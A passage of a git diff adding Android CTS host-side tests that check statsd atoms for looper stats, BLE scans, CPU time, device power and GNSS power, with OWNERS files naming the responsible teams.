+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.cts.statsdatom.binderstats;
+
+import static com.google.common.truth.Truth.assertThat;
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.cts.statsdatom.lib.AtomTestUtils;
+import android.cts.statsdatom.lib.ConfigUtils;
+import android.cts.statsdatom.lib.DeviceUtils;
+import android.cts.statsdatom.lib.ReportUtils;
+
+import com.android.os.AtomsProto;
+import com.android.tradefed.build.IBuildInfo;
+import com.android.tradefed.testtype.DeviceTestCase;
+import com.android.tradefed.testtype.IBuildReceiver;
+
+import com.google.common.collect.Range;
+
+import java.util.List;
+
+public class LooperStatsTests extends DeviceTestCase implements IBuildReceiver {
+    private IBuildInfo mCtsBuild;
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+        assertThat(mCtsBuild).isNotNull();
+        ConfigUtils.removeConfig(getDevice());
+        ReportUtils.clearReports(getDevice());
+        DeviceUtils.installStatsdTestApp(getDevice(), mCtsBuild);
+        Thread.sleep(AtomTestUtils.WAIT_TIME_LONG);
+    }
+
+    @Override
+    protected void tearDown() throws Exception {
+        ConfigUtils.removeConfig(getDevice());
+        ReportUtils.clearReports(getDevice());
+        DeviceUtils.uninstallStatsdTestApp(getDevice());
+        super.tearDown();
+    }
+
+    @Override
+    public void setBuild(IBuildInfo buildInfo) {
+        mCtsBuild = buildInfo;
+    }
+
+    public void testLooperStats() throws Exception {
+        try {
+            DeviceUtils.unplugDevice(getDevice());
+            setUpLooperStats();
+
+            ConfigUtils.uploadConfigForPulledAtom(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
+                    AtomsProto.Atom.LOOPER_STATS_FIELD_NUMBER);
+
+            DeviceUtils.runActivity(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
+                    "StatsdCtsForegroundActivity", "action", "action.show_notification", 3_000);
+
+            AtomTestUtils.sendAppBreadcrumbReportedAtom(getDevice());
+            Thread.sleep(AtomTestUtils.WAIT_TIME_SHORT);
+
+            List<AtomsProto.Atom> atomList = ReportUtils.getGaugeMetricAtoms(getDevice());
+
+            boolean found = false;
+            int uid = DeviceUtils.getStatsdTestAppUid(getDevice());
+            for (AtomsProto.Atom atom : atomList) {
+                AtomsProto.LooperStats stats = atom.getLooperStats();
+                String notificationServiceFullName =
+                        "com.android.server.notification.NotificationManagerService";
+                boolean handlerMatches =
+                        stats.getHandlerClassName().equals(
+                                notificationServiceFullName + "$WorkerHandler");
+                boolean messageMatches =
+                        stats.getMessageName().equals(
+                                notificationServiceFullName + "$EnqueueNotificationRunnable");
+                if (atom.getLooperStats().getUid() == uid && handlerMatches && messageMatches) {
+                    found = true;
+                    assertThat(stats.getMessageCount()).isGreaterThan(0L);
+                    assertThat(stats.getRecordedMessageCount()).isGreaterThan(0L);
+                    assertThat(stats.getRecordedTotalLatencyMicros())
+                            .isIn(Range.open(0L, 1000000L));
+                    assertThat(stats.getRecordedTotalCpuMicros()).isIn(Range.open(0L, 1000000L));
+                    assertThat(stats.getRecordedMaxLatencyMicros()).isIn(Range.open(0L, 1000000L));
+                    assertThat(stats.getRecordedMaxCpuMicros()).isIn(Range.open(0L, 1000000L));
+                    assertThat(stats.getRecordedDelayMessageCount()).isGreaterThan(0L);
+                    assertThat(stats.getRecordedTotalDelayMillis())
+                            .isIn(Range.closedOpen(0L, 5000L));
+                    assertThat(stats.getRecordedMaxDelayMillis()).isIn(Range.closedOpen(0L, 5000L));
+                }
+            }
+            assertWithMessage(String.format("Did not find a matching atom for uid %d", uid))
+                    .that(found).isTrue();
+        } finally {
+            cleanUpLooperStats();
+            DeviceUtils.plugInAc(getDevice());
+        }
+    }
+
+    private void setUpLooperStats() throws Exception {
+        getDevice().executeShellCommand("cmd looper_stats enable");
+        getDevice().executeShellCommand("cmd looper_stats sampling_interval 1");
+        getDevice().executeShellCommand("cmd looper_stats reset");
+    }
+
+    private void cleanUpLooperStats() throws Exception {
+        getDevice().executeShellCommand("cmd looper_stats disable");
+    }
+}
diff --git a/hostsidetests/statsdatom/src/android/cts/statsdatom/binderstats/OWNERS b/hostsidetests/statsdatom/src/android/cts/statsdatom/binderstats/OWNERS
new file mode 100644
index 0000000..636e96e
--- /dev/null
+++ b/hostsidetests/statsdatom/src/android/cts/statsdatom/binderstats/OWNERS
@@ -0,0 +1,6 @@
+# These atom tests are owned by the Radiosonde team.
+dinoderek@google.com
+gaillard@google.com
+ilkos@google.com
+marcinoc@google.com
+rslawik@google.com
diff --git a/hostsidetests/statsdatom/src/android/cts/statsdatom/bluetooth/BluetoothStatsTests.java b/hostsidetests/statsdatom/src/android/cts/statsdatom/bluetooth/BluetoothStatsTests.java
new file mode 100644
index 0000000..ca75fc3
--- /dev/null
+++ b/hostsidetests/statsdatom/src/android/cts/statsdatom/bluetooth/BluetoothStatsTests.java
@@ -0,0 +1,179 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.cts.statsdatom.bluetooth;
+
+import static android.cts.statsdatom.statsd.AtomTestCase.FEATURE_BLUETOOTH_LE;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.cts.statsdatom.lib.AtomTestUtils;
+import android.cts.statsdatom.lib.ConfigUtils;
+import android.cts.statsdatom.lib.DeviceUtils;
+import android.cts.statsdatom.lib.ReportUtils;
+
+import com.android.internal.os.StatsdConfigProto;
+import com.android.os.AtomsProto;
+import com.android.os.StatsLog;
+import com.android.tradefed.build.IBuildInfo;
+import com.android.tradefed.testtype.DeviceTestCase;
+import com.android.tradefed.testtype.IBuildReceiver;
+
+import java.util.Arrays;
+import java.util.Collections;
+import java.util.HashSet;
+import java.util.List;
+import java.util.Set;
+
+public class BluetoothStatsTests extends DeviceTestCase implements IBuildReceiver {
+    private IBuildInfo mCtsBuild;
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+        assertThat(mCtsBuild).isNotNull();
+        ConfigUtils.removeConfig(getDevice());
+        ReportUtils.clearReports(getDevice());
+        DeviceUtils.installStatsdTestApp(getDevice(), mCtsBuild);
+        Thread.sleep(AtomTestUtils.WAIT_TIME_LONG);
+    }
+
+    @Override
+    protected void tearDown() throws Exception {
+        ConfigUtils.removeConfig(getDevice());
+        ReportUtils.clearReports(getDevice());
+        DeviceUtils.uninstallStatsdTestApp(getDevice());
+        super.tearDown();
+    }
+
+    @Override
+    public void setBuild(IBuildInfo buildInfo) {
+        mCtsBuild = buildInfo;
+    }
+
+    public void testBleScan() throws Exception {
+        if (!DeviceUtils.hasFeature(getDevice(), FEATURE_BLUETOOTH_LE)) return;
+
+        final int atomTag = AtomsProto.Atom.BLE_SCAN_STATE_CHANGED_FIELD_NUMBER;
+        Set<Integer> onState = new HashSet<>(
+                Collections.singletonList(AtomsProto.BleScanStateChanged.State.ON_VALUE));
+        Set<Integer> offState = new HashSet<>(
+                Collections.singletonList(AtomsProto.BleScanStateChanged.State.OFF_VALUE));
+        final int expectedWait = 3_000;
+        // Add state sets to the list in order.
+        List<Set<Integer>> stateSet = Arrays.asList(onState, offState);
+        ConfigUtils.uploadConfigForPushedAtomWithUid(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
+                atomTag, /*useAttributionChain=*/ true);
+
+        DeviceUtils.runDeviceTestsOnStatsdApp(getDevice(), ".AtomTests", "testBleScanUnoptimized");
+        Thread.sleep(AtomTestUtils.WAIT_TIME_SHORT);
+
+        List<StatsLog.EventMetricData> data = ReportUtils.getEventMetricDataList(getDevice());
+        AtomTestUtils.assertStatesOccurred(stateSet, data, expectedWait,
+                atom -> atom.getBleScanStateChanged().getState().getNumber());
+    }
+
+    public void testBleUnoptimizedScan() throws Exception {
+        if (!DeviceUtils.hasFeature(getDevice(), FEATURE_BLUETOOTH_LE)) return;
+
+        final int atomTag = AtomsProto.Atom.BLE_SCAN_STATE_CHANGED_FIELD_NUMBER;
+        Set<Integer> onState = new HashSet<>(
+                Collections.singletonList(AtomsProto.BleScanStateChanged.State.ON_VALUE));
+        Set<Integer> offState = new HashSet<>(
+                Collections.singletonList(AtomsProto.BleScanStateChanged.State.OFF_VALUE));
+        final int minTimeDiffMillis = 1_500;
+        final int maxTimeDiffMillis = 3_000;
+        // Add state sets to the list in order.
+        List<Set<Integer>> stateSet = Arrays.asList(onState, offState);
+        ConfigUtils.uploadConfigForPushedAtomWithUid(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
+                atomTag, /*useAttributionChain=*/ true);
+
+        DeviceUtils.runDeviceTestsOnStatsdApp(getDevice(), ".AtomTests", "testBleScanUnoptimized");
+        Thread.sleep(AtomTestUtils.WAIT_TIME_SHORT);
+
+        List<StatsLog.EventMetricData> data = ReportUtils.getEventMetricDataList(getDevice());
+        AtomTestUtils.assertTimeDiffBetween(data.get(0), data.get(1), minTimeDiffMillis,
+                maxTimeDiffMillis);
+        AtomsProto.BleScanStateChanged a0 = data.get(0).getAtom().getBleScanStateChanged();
+        assertThat(a0.getState().getNumber()).isEqualTo(
+                AtomsProto.BleScanStateChanged.State.ON_VALUE);
+        assertThat(a0.getIsFiltered()).isFalse();
+        assertThat(a0.getIsFirstMatch()).isFalse();
+        assertThat(a0.getIsOpportunistic()).isFalse();
+        AtomsProto.BleScanStateChanged a1 = data.get(1).getAtom().getBleScanStateChanged();
+        assertThat(a1.getState().getNumber()).isEqualTo(
+                AtomsProto.BleScanStateChanged.State.OFF_VALUE);
+        assertThat(a1.getIsFiltered()).isFalse();
+        assertThat(a1.getIsFirstMatch()).isFalse();
+        assertThat(a1.getIsOpportunistic()).isFalse();
+    }
+
+    public void testBleOpportunisticScan() throws Exception {
+        if (!DeviceUtils.hasFeature(getDevice(), FEATURE_BLUETOOTH_LE)) return;
+
+        final int atomTag = AtomsProto.Atom.BLE_SCAN_STATE_CHANGED_FIELD_NUMBER;
+        Set<Integer> onState = new HashSet<>(
+                Collections.singletonList(AtomsProto.BleScanStateChanged.State.ON_VALUE));
+        Set<Integer> offState = new HashSet<>(
+                Collections.singletonList(AtomsProto.BleScanStateChanged.State.OFF_VALUE));
+        final int minTimeDiffMillis = 1_500;
+        final int maxTimeDiffMillis = 3_000;
+        // Add state sets to the list in order.
+        List<Set<Integer>> stateSet = Arrays.asList(onState, offState);
+        ConfigUtils.uploadConfigForPushedAtomWithUid(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
+                atomTag, /*useAttributionChain=*/ true);
+
+        DeviceUtils.runDeviceTestsOnStatsdApp(getDevice(), ".AtomTests",
+                "testBleScanOpportunistic");
+
+        List<StatsLog.EventMetricData> data = ReportUtils.getEventMetricDataList(getDevice());
+        AtomTestUtils.assertTimeDiffBetween(data.get(0), data.get(1), minTimeDiffMillis,
+                maxTimeDiffMillis);
+        AtomsProto.BleScanStateChanged a0 = data.get(0).getAtom().getBleScanStateChanged();
+        assertThat(a0.getState().getNumber()).isEqualTo(
+                AtomsProto.BleScanStateChanged.State.ON_VALUE);
+        assertThat(a0.getIsFiltered()).isFalse();
+        assertThat(a0.getIsFirstMatch()).isFalse();
+        assertThat(a0.getIsOpportunistic()).isTrue();  // This scan is opportunistic.
+        AtomsProto.BleScanStateChanged a1 = data.get(1).getAtom().getBleScanStateChanged();
+        assertThat(a1.getState().getNumber()).isEqualTo(
+                AtomsProto.BleScanStateChanged.State.OFF_VALUE);
+        assertThat(a1.getIsFiltered()).isFalse();
+        assertThat(a1.getIsFirstMatch()).isFalse();
+        assertThat(a1.getIsOpportunistic()).isTrue();
+    }
+
+    public void testBleScanResult() throws Exception {
+        if (!DeviceUtils.hasFeature(getDevice(), FEATURE_BLUETOOTH_LE)) return;
+
+        final int atom = AtomsProto.Atom.BLE_SCAN_RESULT_RECEIVED_FIELD_NUMBER;
+        final int field = AtomsProto.BleScanResultReceived.NUM_RESULTS_FIELD_NUMBER;
+        StatsdConfigProto.StatsdConfig.Builder config = ConfigUtils.createConfigBuilder(
+                DeviceUtils.STATSD_ATOM_TEST_PKG);
+        ConfigUtils.addEventMetric(config, atom, Arrays.asList(
+                ConfigUtils.createUidFvm(/*useAttributionChain=*/ true,
+                        DeviceUtils.STATSD_ATOM_TEST_PKG),
+                ConfigUtils.createFvm(field).setGteInt(0)));
+        ConfigUtils.uploadConfig(getDevice(), config);
+
+        DeviceUtils.runDeviceTestsOnStatsdApp(getDevice(), ".AtomTests", "testBleScanResult");
+
+        List<StatsLog.EventMetricData> data = ReportUtils.getEventMetricDataList(getDevice());
+        assertThat(data.size()).isAtLeast(1);
+        AtomsProto.BleScanResultReceived a0 = data.get(0).getAtom().getBleScanResultReceived();
+        assertThat(a0.getNumResults()).isAtLeast(1);
+    }
+}
diff --git a/hostsidetests/statsdatom/src/android/cts/statsdatom/bluetooth/OWNERS b/hostsidetests/statsdatom/src/android/cts/statsdatom/bluetooth/OWNERS
new file mode 100644
index 0000000..81f70f4
--- /dev/null
+++ b/hostsidetests/statsdatom/src/android/cts/statsdatom/bluetooth/OWNERS
@@ -0,0 +1,4 @@
+# These atom tests are owned by the cpu team.
+# Test failures should be assigned to bluetooth-fireteam@google.com
+cncn@google.com
+siyuanh@google.com
\ No newline at end of file
diff --git a/hostsidetests/statsdatom/src/android/cts/statsdatom/cpu/CpuStatsTests.java b/hostsidetests/statsdatom/src/android/cts/statsdatom/cpu/CpuStatsTests.java
new file mode 100644
index 0000000..b3ac62c
--- /dev/null
+++ b/hostsidetests/statsdatom/src/android/cts/statsdatom/cpu/CpuStatsTests.java
@@ -0,0 +1,152 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.cts.statsdatom.cpu;
+
+import static com.google.common.truth.Truth.assertThat;
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.cts.statsdatom.lib.AtomTestUtils;
+import android.cts.statsdatom.lib.ConfigUtils;
+import android.cts.statsdatom.lib.DeviceUtils;
+import android.cts.statsdatom.lib.ReportUtils;
+
+import com.android.os.AtomsProto;
+import com.android.tradefed.build.IBuildInfo;
+import com.android.tradefed.testtype.DeviceTestCase;
+import com.android.tradefed.testtype.IBuildReceiver;
+
+import java.util.List;
+
+public class CpuStatsTests extends DeviceTestCase implements IBuildReceiver {
+    private IBuildInfo mCtsBuild;
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+        assertThat(mCtsBuild).isNotNull();
+        ConfigUtils.removeConfig(getDevice());
+        ReportUtils.clearReports(getDevice());
+        DeviceUtils.installStatsdTestApp(getDevice(), mCtsBuild);
+        Thread.sleep(AtomTestUtils.WAIT_TIME_LONG);
+    }
+
+    @Override
+    protected void tearDown() throws Exception {
+        ConfigUtils.removeConfig(getDevice());
+        ReportUtils.clearReports(getDevice());
+        DeviceUtils.uninstallStatsdTestApp(getDevice());
+        super.tearDown();
+    }
+
+    @Override
+    public void setBuild(IBuildInfo buildInfo) {
+        mCtsBuild = buildInfo;
+    }
+
+    public void testCpuTimePerUid() throws Exception {
+        if (DeviceUtils.hasFeature(getDevice(), DeviceUtils.FEATURE_WATCH)) return;
+
+        ConfigUtils.uploadConfigForPulledAtomWithUid(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
+                AtomsProto.Atom.CPU_TIME_PER_UID_FIELD_NUMBER,  /*uidInAttributionChain=*/false);
+
+        // Do some trivial work on the app
+        DeviceUtils.runDeviceTestsOnStatsdApp(getDevice(), ".AtomTests", "testSimpleCpu");
+        Thread.sleep(AtomTestUtils.WAIT_TIME_SHORT);
+        // Trigger atom pull
+        AtomTestUtils.sendAppBreadcrumbReportedAtom(getDevice());
+        Thread.sleep(AtomTestUtils.WAIT_TIME_LONG);
+
+        // Verify correctness of data
+        List<AtomsProto.Atom> atoms = ReportUtils.getGaugeMetricAtoms(getDevice());
+        boolean found = false;
+        int appUid = DeviceUtils.getStatsdTestAppUid(getDevice());
+        for (AtomsProto.Atom atom : atoms) {
+            assertThat(atom.getCpuTimePerUid().getUid()).isEqualTo(appUid);
+            assertThat(atom.getCpuTimePerUid().getUserTimeMicros()).isGreaterThan(0L);
+            assertThat(atom.getCpuTimePerUid().getSysTimeMicros()).isGreaterThan(0L);
+            found = true;
+        }
+        assertWithMessage("Found no CpuTimePerUid atoms from uid " + appUid).that(found).isTrue();
+    }
+
+    public void testCpuTimePerClusterFreq() throws Exception {
+        ConfigUtils.uploadConfigForPulledAtom(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
+                AtomsProto.Atom.CPU_TIME_PER_CLUSTER_FREQ_FIELD_NUMBER);
+
+        // Do some trivial work on the app
+        DeviceUtils.runDeviceTestsOnStatsdApp(getDevice(), ".AtomTests", "testSimpleCpu");
+        Thread.sleep(AtomTestUtils.WAIT_TIME_SHORT);
+        // Trigger atom pull
+        AtomTestUtils.sendAppBreadcrumbReportedAtom(getDevice());
+        Thread.sleep(AtomTestUtils.WAIT_TIME_LONG);
+
+        // The list of atoms will be empty if the atom is not supported.
+        List<AtomsProto.Atom> atoms = ReportUtils.getGaugeMetricAtoms(getDevice());
+
+        for (AtomsProto.Atom atom : atoms) {
+            assertThat(atom.getCpuTimePerClusterFreq().getCluster()).isAtLeast(0);
+            assertThat(atom.getCpuTimePerClusterFreq().getFreqKhz()).isAtLeast(0);
+            assertThat(atom.getCpuTimePerClusterFreq().getTimeMillis()).isAtLeast(0);
+        }
+    }
+
+    public void testCpuCyclesPerUidCluster() throws Exception {
+        ConfigUtils.uploadConfigForPulledAtom(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
+                AtomsProto.Atom.CPU_CYCLES_PER_UID_CLUSTER_FIELD_NUMBER);
+
+        // Do some trivial work on the app
+        DeviceUtils.runDeviceTestsOnStatsdApp(getDevice(), ".AtomTests", "testSimpleCpu");
+        Thread.sleep(AtomTestUtils.WAIT_TIME_SHORT);
+        // Trigger atom pull
+        AtomTestUtils.sendAppBreadcrumbReportedAtom(getDevice());
+        Thread.sleep(AtomTestUtils.WAIT_TIME_LONG);
+
+        // The list of atoms will be empty if the atom is not supported.
+        List<AtomsProto.Atom> atoms = ReportUtils.getGaugeMetricAtoms(getDevice());
+
+        for (AtomsProto.Atom atom : atoms) {
+            assertThat(atom.getCpuCyclesPerUidCluster().getUid()).isAtLeast(0);
+            assertThat(atom.getCpuCyclesPerUidCluster().getCluster()).isAtLeast(0);
+            assertThat(atom.getCpuCyclesPerUidCluster().getMcycles()).isAtLeast(0);
+            assertThat(atom.getCpuCyclesPerUidCluster().getTimeMillis()).isAtLeast(0);
+            assertThat(atom.getCpuCyclesPerUidCluster().getPowerProfileEstimate()).isAtLeast(0);
+        }
+    }
+
+    public void testCpuCyclesPerThreadGroupCluster() throws Exception {
+        ConfigUtils.uploadConfigForPulledAtom(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
+                AtomsProto.Atom.CPU_CYCLES_PER_THREAD_GROUP_CLUSTER_FIELD_NUMBER);
+
+        // Do some trivial work on the app
+        DeviceUtils.runDeviceTestsOnStatsdApp(getDevice(), ".AtomTests", "testSimpleCpu");
+        Thread.sleep(AtomTestUtils.WAIT_TIME_SHORT);
+        // Trigger atom pull
+        AtomTestUtils.sendAppBreadcrumbReportedAtom(getDevice());
+        Thread.sleep(AtomTestUtils.WAIT_TIME_LONG);
+
+        // The list of atoms will be empty if the atom is not supported.
+        List<AtomsProto.Atom> atoms = ReportUtils.getGaugeMetricAtoms(getDevice());
+
+        for (AtomsProto.Atom atom : atoms) {
+            assertThat(atom.getCpuCyclesPerThreadGroupCluster().getThreadGroup()).isNotEqualTo(
+              AtomsProto.CpuCyclesPerThreadGroupCluster.ThreadGroup.UNKNOWN_THREAD_GROUP);
+            assertThat(atom.getCpuCyclesPerThreadGroupCluster().getCluster()).isAtLeast(0);
+            assertThat(atom.getCpuCyclesPerThreadGroupCluster().getMcycles()).isAtLeast(0);
+            assertThat(atom.getCpuCyclesPerThreadGroupCluster().getTimeMillis()).isAtLeast(0);
+        }
+    }
+}
diff --git a/hostsidetests/statsdatom/src/android/cts/statsdatom/cpu/OWNERS b/hostsidetests/statsdatom/src/android/cts/statsdatom/cpu/OWNERS
new file mode 100644
index 0000000..4d3c442
--- /dev/null
+++ b/hostsidetests/statsdatom/src/android/cts/statsdatom/cpu/OWNERS
@@ -0,0 +1,3 @@
+# These atom tests are owned by the cpu team.
+connoro@google.com
+rslawik@google.com  # Android Telemetry
diff --git a/hostsidetests/statsdatom/src/android/cts/statsdatom/devicepower/DevicePowerStatsTests.java b/hostsidetests/statsdatom/src/android/cts/statsdatom/devicepower/DevicePowerStatsTests.java
new file mode 100644
index 0000000..caf882a
--- /dev/null
+++ b/hostsidetests/statsdatom/src/android/cts/statsdatom/devicepower/DevicePowerStatsTests.java
@@ -0,0 +1,78 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.cts.statsdatom.devicepower;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.cts.statsdatom.lib.AtomTestUtils;
+import android.cts.statsdatom.lib.ConfigUtils;
+import android.cts.statsdatom.lib.DeviceUtils;
+import android.cts.statsdatom.lib.ReportUtils;
+
+import com.android.os.AtomsProto;
+import com.android.tradefed.build.IBuildInfo;
+import com.android.tradefed.testtype.DeviceTestCase;
+import com.android.tradefed.testtype.IBuildReceiver;
+
+import java.util.List;
+
+public class DevicePowerStatsTests extends DeviceTestCase implements IBuildReceiver {
+    private static final boolean OPTIONAL_TESTS_ENABLED = false;
+
+    private IBuildInfo mCtsBuild;
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+        assertThat(mCtsBuild).isNotNull();
+        ConfigUtils.removeConfig(getDevice());
+        ReportUtils.clearReports(getDevice());
+        DeviceUtils.installStatsdTestApp(getDevice(), mCtsBuild);
+        Thread.sleep(AtomTestUtils.WAIT_TIME_LONG);
+    }
+
+    @Override
+    protected void tearDown() throws Exception {
+        ConfigUtils.removeConfig(getDevice());
+        ReportUtils.clearReports(getDevice());
+        DeviceUtils.uninstallStatsdTestApp(getDevice());
+        super.tearDown();
+    }
+
+    @Override
+    public void setBuild(IBuildInfo buildInfo) {
+        mCtsBuild = buildInfo;
+    }
+
+    public void testOnDevicePowerMeasurement() throws Exception {
+        if (!OPTIONAL_TESTS_ENABLED) return;
+
+        ConfigUtils.uploadConfigForPulledAtom(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
+                AtomsProto.Atom.ON_DEVICE_POWER_MEASUREMENT_FIELD_NUMBER);
+
+        AtomTestUtils.sendAppBreadcrumbReportedAtom(getDevice());
+        Thread.sleep(AtomTestUtils.WAIT_TIME_LONG);
+
+        List<AtomsProto.Atom> dataList = ReportUtils.getGaugeMetricAtoms(getDevice());
+
+        for (AtomsProto.Atom atom : dataList) {
+            assertThat(atom.getOnDevicePowerMeasurement().getMeasurementTimestampMillis())
+                    .isAtLeast(0L);
+            assertThat(atom.getOnDevicePowerMeasurement().getEnergyMicrowattSecs()).isAtLeast(0L);
+        }
+    }
+}
diff --git a/hostsidetests/statsdatom/src/android/cts/statsdatom/devicepower/OWNERS b/hostsidetests/statsdatom/src/android/cts/statsdatom/devicepower/OWNERS
new file mode 100644
index 0000000..606dfa3
--- /dev/null
+++ b/hostsidetests/statsdatom/src/android/cts/statsdatom/devicepower/OWNERS
@@ -0,0 +1,2 @@
+# Owners of OnDevicePowerMeasurement atom
+bsschwar@google.com
diff --git a/hostsidetests/statsdatom/src/android/cts/statsdatom/gnss/GnssPowerStatsTests.java b/hostsidetests/statsdatom/src/android/cts/statsdatom/gnss/GnssPowerStatsTests.java
new file mode 100644
index 0000000..47f1905
--- /dev/null
+++ b/hostsidetests/statsdatom/src/android/cts/statsdatom/gnss/GnssPowerStatsTests.java
@@ -0,0 +1,106 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.cts.statsdatom.gnss;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.cts.statsdatom.lib.AtomTestUtils;
+import android.cts.statsdatom.lib.ConfigUtils;
+import android.cts.statsdatom.lib.DeviceUtils;
+import android.cts.statsdatom.lib.ReportUtils;
+
+import com.android.os.AtomsProto;
+import com.android.tradefed.build.IBuildInfo;
+import com.android.tradefed.testtype.DeviceTestCase;
+import com.android.tradefed.testtype.IBuildReceiver;
+
+import java.util.List;
+
+public class GnssPowerStatsTests extends DeviceTestCase implements IBuildReceiver {
+    private static final boolean OPTIONAL_TESTS_ENABLED = true;
+
+    private IBuildInfo mCtsBuild;
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+        assertThat(mCtsBuild).isNotNull();
+        ConfigUtils.removeConfig(getDevice());
+        ReportUtils.clearReports(getDevice());
+        DeviceUtils.installStatsdTestApp(getDevice(), mCtsBuild);
+        Thread.sleep(AtomTestUtils.WAIT_TIME_LONG);
+    }
+
+    @Override
+    protected void tearDown() throws Exception {
+        ConfigUtils.removeConfig(getDevice());
+        ReportUtils.clearReports(getDevice());
+        DeviceUtils.uninstallStatsdTestApp(getDevice());
+        super.tearDown();
+    }
+
+    @Override
+    public void setBuild(IBuildInfo buildInfo) {
+        mCtsBuild = buildInfo;
+    }
+
+    public void testGnssPowerStats() throws Exception {
+        if (!OPTIONAL_TESTS_ENABLED) return;
+
+        ConfigUtils.uploadConfigForPulledAtom(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
+                AtomsProto.Atom.GNSS_POWER_STATS_FIELD_NUMBER);
+
+        AtomTestUtils.sendAppBreadcrumbReportedAtom(getDevice());
+        Thread.sleep(AtomTestUtils.WAIT_TIME_LONG);
+
+        List<AtomsProto.Atom> dataList = ReportUtils.getGaugeMetricAtoms(getDevice());
+
+        for (AtomsProto.Atom atom : dataList) {
+            assertThat(atom.getGnssPowerStats().getElapsedRealtimeUncertaintyNanos())
+                    .isAtLeast(0L);
+            assertThat(atom.getGnssPowerStats().getTotalEnergyMicroJoule()).isAtLeast(0L);
+            assertThat(atom.getGnssPowerStats().getSinglebandTrackingModeEnergyMicroJoule())
+                    .isAtLeast(0L);
+            assertThat(atom.getGnssPowerStats().getMultibandTrackingModeEnergyMicroJoule())
+                    .isAtLeast(0L);
+            assertThat(atom.getGnssPowerStats().getSinglebandAcquisitionModeEnergyMicroJoule())
+                    .isAtLeast(0L);
+            assertThat(atom.getGnssPowerStats().getMultibandAcquisitionModeEnergyMicroJoule())
+                    .isAtLeast(0L);
+            assertThat(atom.getGnssPowerStats().getVendorSpecificPowerModesEnergyMicroJoule0())
+                    .isAtLeast(0L);
+            assertThat(atom.getGnssPowerStats().getVendorSpecificPowerModesEnergyMicroJoule1())
+                    .isAtLeast(0L);
+            assertThat(atom.getGnssPowerStats().getVendorSpecificPowerModesEnergyMicroJoule2())
+                    .isAtLeast(0L);
+            assertThat(atom.getGnssPowerStats().getVendorSpecificPowerModesEnergyMicroJoule3())
+                    .isAtLeast(0L);
+            assertThat(atom.getGnssPowerStats().getVendorSpecificPowerModesEnergyMicroJoule4())
+                    .isAtLeast(0L);
+            assertThat(atom.getGnssPowerStats().getVendorSpecificPowerModesEnergyMicroJoule5())
+                    .isAtLeast(0L);
+            assertThat(atom.getGnssPowerStats().getVendorSpecificPowerModesEnergyMicroJoule6())
+                    .isAtLeast(0L);
+            assertThat(atom.getGnssPowerStats().getVendorSpecificPowerModesEnergyMicroJoule7())
+                    .isAtLeast(0L);
+            assertThat(atom.getGnssPowerStats().getVendorSpecificPowerModesEnergyMicroJoule8())
+                    .isAtLeast(0L);
+            assertThat(atom.getGnssPowerStats().getVendorSpecificPowerModesEnergyMicroJoule9())
+                    .isAtLeast(0L);
+        }
+    }
+}
